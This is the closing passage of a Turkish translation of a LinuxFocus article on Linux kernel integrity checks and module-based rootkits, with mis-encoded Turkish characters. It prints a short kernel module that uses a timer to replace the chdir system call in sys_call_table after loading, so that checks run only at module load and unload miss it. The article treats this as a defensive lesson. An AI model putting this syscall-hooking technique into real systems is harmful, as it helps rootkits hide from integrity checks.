    init_module()'e yerle�tirilmi� b�t�nl�k testi, mod�l y�kleme s�ras�nda hi�bir sistem �a�r�s�n�n de�i�tirilmedi�ini onaylamaktad�r. Ancak, printk()'�n bir sonraki kullan�m�nda de�i�iklik yap�lm�� olur...
    Bunu da hesaba katmak i�in b�t�nl�k testini her fonksiyona geni�letmek gerekir.
  2. Zamanlay�c� saat kullan�m�: init_module()'de zamanlay�c� saati �al��t�rmakla, mod�l y�kleme s�ras�ndan �ok daha sonra de�i�iklik yapmak olas�d�r. B�t�nl�k testleri mod�llerin y�klenmesi ve kald�r�lmas� s�ras�nda yap�ld��� i�in sald�r� g�zden ka�m�� olur:(
     /* timer_exploit.c by Mixman */
    
     #define TIMER_TIMEOUT  200
    
     extern void* sys_call_table[];
     int (*org_chdir)(const char*);
    
     static timer_t timer;
     static unsigned char hacked = 0;
    
     asmlinkage int hacked_chdir(const char* path)
     {
       printk("Some sort of periodic checking could be a solution...\n");
       return org_chdir(path);
     }
    
     void timer_handler(unsigned long arg)
     {
       if(!hacked) {
         hacked = 1;
         org_chdir = sys_call_table[SYS_chdir];
         sys_call_table[SYS_chdir] = hacked_chdir;
       }
     }
    
     int init_module(void)
     {
       printk("Adding kernel timer...\n");
       memset(&timer,0,sizeof(timer));
       init_timer(&timer);
       timer.expires = jiffies + TIMER_TIMEOUT;
       timer.function = timer_handler;
       add_timer(&timer);
       printk("Syscall sys_chdir() should be modified in a few seconds\n");
       return 0;
     }
    
     void cleanup_module(void)
     {
       del_timer(&timer);
       sys_call_table[SYS_chdir] = org_chdir;
     }
          
    �u anda zor olan, b�t�nl�k testini sadece mod�l y�kleme ve kald�rma s�ras�nda de�il, belli aral�klarla �al��t�rmaktad�r.

 

Sonu�

Sistem b�t�nl���n� sa�lamak pek kolay bir i� de�ildir. Testler g�venilir olmas�na kar��n, bunlar� atlatacak bir s�r� de y�ntem vard�r. Sisteme yap�lm�� bir giri�ten ��phelendi�inde hi�bir �eye g�venmemekte yarar vard�r. Denemeler i�in,en iyisi sistemi kapat�p yenisini �al��t�rmakt�r.

Burada anlat�lan ara� ve y�ntemler iki y�nl�d�r. Bunlar sistem y�neticilere oldu�u kadar, k�r�c�lar i�in de yarar sa�larlar. rootshell mod�l�nde g�rd���m�z gibi, kimin neyi �al��t�rd��� da denetlenebilir.

E�er, b�t�nl�k testleri iyi yap�l�rsa, kalsik root-kit'leri yakalamak kolayd�r. Mod�llere dayal� olanlar� yakalamak ise, daha zordur. Bunlar� belirleyebilecek ara�lar �zerinde �al���lmaktad�r. Mod�llerin kendilerinde oldu�u gibi, bunlar�n yapabilecekleri de s�n�rl�d�r. �ekirdek g�venli�i g�n ge�tik�e �nem kazanmaktad�r. Bunun bir kan�t� olarak Linus'un 2.5 s�r�ml� �ekirdek g�venlikten sorumlu bir mod�l�n yaz�m� istemesidir. D���ncelerdeki bu de�i�iklik, Openwall, Pax, LIDS, kernelli gibi var olan yamalar�n �oklu�undan da kaynaklanmaktad�r.

Her neyse, unutmay�n ki i�gal edilmi� bir sistem kendi b�t�nl���n� denetleyemez. Ne programlar�na ne de verdi�i bilgilerine g�venebilirsiniz.

 

Ba�lant�lar

 

Bu yaz� i�in g�r�� bildiriminde bulunabilirsiniz

Her yaz� kendi g�r�� bildirim sayfas�na sahiptir. Bu sayfaya yorumlar�n�z� yazabilir ve di�er okuyucular�n yorumlar�na bakabilirsiniz.
 talkback page 

<--, Bu say�n�n ana sayfas�na gider

G�rsely�re sayfalar�n�n bak�m�, LinuxFocus Edit�rleri taraf�ndan yap�lmaktad�r
© Fr�d�ric Raynal aka Pappy, FDL
LinuxFocus.org
�eviri bilgisi:
fr --> -- : Fr�d�ric Raynal aka Pappy (homepage)
fr --> en: Georges Tarbouriech <georges.t(at)linuxfocus.org>
en --> tr: Erdal Mutlu <erdal(at)linuxfocus.org>

2004-06-25, generated by lfparser version 2.43